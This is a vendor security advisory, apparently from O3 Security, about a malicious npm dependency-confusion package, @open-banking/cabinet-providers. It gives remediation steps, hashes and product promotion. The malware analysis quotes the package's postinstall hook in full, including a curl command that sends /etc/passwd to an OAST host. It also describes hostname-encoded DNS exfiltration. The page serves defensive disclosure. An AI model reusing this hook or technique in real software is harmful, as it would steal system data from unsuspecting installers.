Which versions of @open-banking/cabinet-providers are malicious?

The following npm versions of @open-banking/cabinet-providers are flagged malicious: 999.9.2, 999.9.5. Treat any of these as compromised.

How do I remediate @open-banking/cabinet-providers if I installed it?

@open-banking/cabinet-providers is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @open-banking/cabinet-providers — how do I know if it already compromised me?

If @open-banking/cabinet-providers was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is @open-banking/cabinet-providers part of a known attack campaign?

Yes — @open-banking/cabinet-providers is associated with the IN-MAL-2026-004960, IN-MAL-2026-004957, IN-MAL-2026-004958, IN-MAL-2026-004959 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @open-banking/cabinet-providers across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @open-banking/cabinet-providers (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @open-banking/cabinet-providers across your stack and pipelines.

Malicious package

@open-banking/cabinet-providersnpm

Malicious code in @open-banking/cabinet-providers (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5392

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @open-banking/cabinet-providers

What this malware does

@open-banking/[email protected] is a dependency-confusion bait package (anomalously high version under a generic scope) that exfiltrates installer data via its postinstall lifecycle. package.json declares "postinstall": "node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com", which posts the contents of /etc/passwd (prefixed by the installer's hostname as a subdomain) to a Burp Collaborator (OAST) endpoint. The bundled scripts/scream3gg.js hex-encodes os.hostname(), os.homedir(), and os.userInfo().username, splits the result into 50-character chunks joined by ., and fetches http://<chunks>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com over plain HTTP — leaking host identity through DNS-style subdomain encoding. Both behaviors fire automatically on npm install with no user consent.

Malicious versions

2 flagged

999.9.2999.9.5

Indicators of compromise (SHA-256)

1c1de2e003fc91eaf208c2c89119ca1390a5aefc53409c150e2181dd62ae8462

376acc0a3b29a3d768a5be7ea618329182989929f9e31fac8c176836b7c4b280

3eb304356656c325d4ab5185af3ffd5679fe5c9d2f7be46bc7c47d4bad94b42f

897ab059e2133dd6c2a8a23dea4e3e39006ca89a2ed3350db82cb9ad063ce408

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @open-banking/cabinet-providers (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @open-banking/cabinet-providers across your stack and pipelines.
If you installed it — respond
@open-banking/cabinet-providers is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @open-banking/cabinet-providers was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @open-banking/cabinet-providers before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. @open-banking/cabinet-providers on npm has been identified as a malicious package (versions 999.9.2, 999.9.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004960IN-MAL-2026-004957IN-MAL-2026-004958IN-MAL-2026-004959

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @open-banking/cabinet-providers-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring